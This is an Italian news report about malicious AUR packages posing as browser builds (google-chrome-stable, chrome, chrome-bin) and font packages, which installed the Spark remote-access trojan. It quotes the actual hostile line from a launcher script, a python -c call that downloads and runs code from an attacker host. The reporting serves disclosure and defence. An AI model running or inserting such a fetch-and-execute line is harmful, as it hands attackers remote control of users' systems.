Nel repository AUR (Arch User Repository), utilizzato in Arch Linux per distribuire pacchetti di sviluppatori di terze parti, è continuata la pubblicazione di codice malevolo, integrato in pacchetti con versioni non ufficiali dei browser. Oltre ai pacchetti malevoli già identificati due settimane fa, come firefox-patch-bin, librewolf-fix-bin e zen-browser-patched-bin, è stato aggiunto all'AUR il pacchetto google-chrome-stable, contenente anch'esso una modifica che stabiliva un componente malevolo per fornire accesso remoto al sistema.
Nel file PKGBUILD del pacchetto problematico era stata definita l'installazione di uno script per avviare il browser google-chrome-stable.sh, in cui, tra l'altro, era presente il comando ‘python -c «$(curl https://segs.lol/9wUb1Z)»‘, che scaricava malware riconosciuto dal servizio VirusTotal come il trojan Spark, che consente il controllo remoto del sistema, l'avvio di processi, il trasferimento di file, l'ispezione del traffico e l'invio di screenshot.
Il pacchetto malware google-chrome-stable è stato caricato ante ieri ed è stato rimosso dagli amministratori AUR poche ore dopo la sua apparizione. Quasi immediatamente dopo la rimozione di google-chrome-stable, sono stati caricati su AUR due pacchetti malware - «chrome» e «chrome-bin», contenenti uno script di installazione simile per il malware nel sistema dell'utente.
Successivamente sono stati identificati altri tre pacchetti con codice malevolo: ttf-mac-fonts-all, ttf-ms-fonts-all e gromit.
Fonte: opennet.ru
